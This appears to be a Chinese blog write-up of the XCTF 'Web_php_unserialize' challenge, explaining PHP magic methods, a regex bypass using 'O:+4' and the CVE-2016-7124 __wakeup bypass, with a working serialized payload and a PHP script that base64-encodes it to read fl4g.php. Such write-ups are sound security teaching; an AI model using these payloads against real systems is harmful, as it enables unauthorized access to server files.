刚学php序列化/反序列化遇到的坑(攻防世界:Web_php_unserialize)

刚开始遇到题目的时候,思路还是很明确。

原题入口:攻防世界 (xctf.org.cn) 中的 Web_php_unserialize

两个函数

php 复制代码
serialize()     //将一个对象转换成一个字符串
unserialize()   //将字符串还原成一个对象

首先看到 **unserialize()**可以知道基本上能得知突破口在 php 的反序列化问题上。

1、__construct()

触发:使用关键字new实例化对象时会自动调用构造方法3.

2.__desctruct()

触发:析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。

3.__wakeup

触发:反序列化恢复对象前调用该方法。

序列化对象:

php 复制代码
<?php
header('Content-type:text/html;charset=utf-8');
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        print("<br>调用了__destruct<br>");
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        print("<br>调用了__wakeup<br>");
        if ($this->file != 'index.php') {
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
$d = new Demo("fl4g.php");
$er = serialize($d);
print($er);
?>

查看结果(为了方便看到调用哪个魔术方法。我自行在类中打印调用过程):

此时测试base64编码的值,会发现会被正则表达式检测到。

'/oc:\d+:/i'含义是:匹配o或c任意一个,冒号,至少一个数字,冒号,不区分大小写

是定义匹配的字符范围

oc是匹配o或c任意一个

xyz 字符集合。匹配所包含的任意一个字符。例如, 'abc' 可以匹配 "plain" 中的 'a'。

常见绕过方式:利用+绕过。所以将POC改成

'O:+4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}'

此时已经成功绕过了正则判断,但由于序列化对象会先执行__wakeup(),当 this 的 file 不为 index.php 的时候,会将 this->file 强行改为 index.php。所以需要绕过 __wakeup()。

漏洞:

PHP反序列化漏洞(cve-2016-7124)

漏洞版本:

PHP5 < 5.6.25

PHP7 < 7.0.10

漏洞利用方法:

若在对象的魔法函数中存在的__wakeup方法,那么之后再调用 unserilize() 方法进行反序列化之前则会先调用__wakeup方法,但是序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

所以构造的POC为:

'O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}'

此时有个坑,就是这里的 file 变量为私有变量,所以序列化之后的字符串开头结 尾各有一个空白字符(即%00),类似的还有 protected 类型的变量,序列化之后字符串首部会加上%00*%00。 (所以并不能直接复制粘贴取base64编码)

所以,我选择利用 php 自带的chr() 函数进行拼接,再利用 base64_encode() 得出结果。

关键语句:

php 复制代码
$err = 'O:+4:"Demo":2:{s:10:"'.chr(0).'Demo'.chr(0).'file";s:8:"fl4g.php";}';

构造poc,生成最终的编码

php 复制代码
<?php
header('Content-type:text/html;charset=utf-8');
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        print("<br>调用了__destruct<br>");
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        print("<br>调用了__wakeup<br>");
        if ($this->file != 'index.php') {
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
$err = 'O:+4:"Demo":2:{s:10:"'.chr(0).'Demo'.chr(0).'file";s:8:"fl4g.php";}';
print($err.'的base64编码结果为:'.base64_encode($err).'<br>');
?>

查看结果:

最后将结果拼接在var参数中:

拿到flag。

相关推荐
feixing_fx4 小时前
第一个 JS 程序:在浏览器控制台和 Node 中分别运行
开发语言·前端·javascript·前端框架·ecmascript
Evand J5 小时前
【MATLAB例程】二维IMM-UKF定位,基于四个基站的AOA与测距辅助
开发语言·matlab
feixing_fx6 小时前
变量与声明:let、const、var 的选择边界
开发语言·前端·javascript·前端框架
个 人 练 习 生6 小时前
C++:从零基础到深入了解vector的使用
开发语言·c++·经验分享·学习·程序人生·stl
H.莓飛7 小时前
【C++】【STL】stack_OJ题
服务器·c语言·开发语言·数据结构·c++·算法·visual studio
hudd6687 小时前
JavaEE 初阶 - 文件操作和IO
java·开发语言·java-ee
starzy19908 小时前
深入理解Scala隐式参数:上下文流转
开发语言·python·scala
Flynt9 小时前
Java4Shell 实测:EPYC 一跑就中招,关掉 Base64 硬件加速,1KB 解码慢 14 倍
java·安全·性能优化
FungLeo9 小时前
FengCMS · PHP+MySQL 升级实录 ·三重 MD5 迁移 password_hash:老站密码怎么无痛升级
mysql·php·哈希算法·密码安全·fengcms
feixing_fx9 小时前
JavaScript 是什么:从浏览器脚本到通用编程语言
开发语言·前端·javascript·前端框架·ecmascript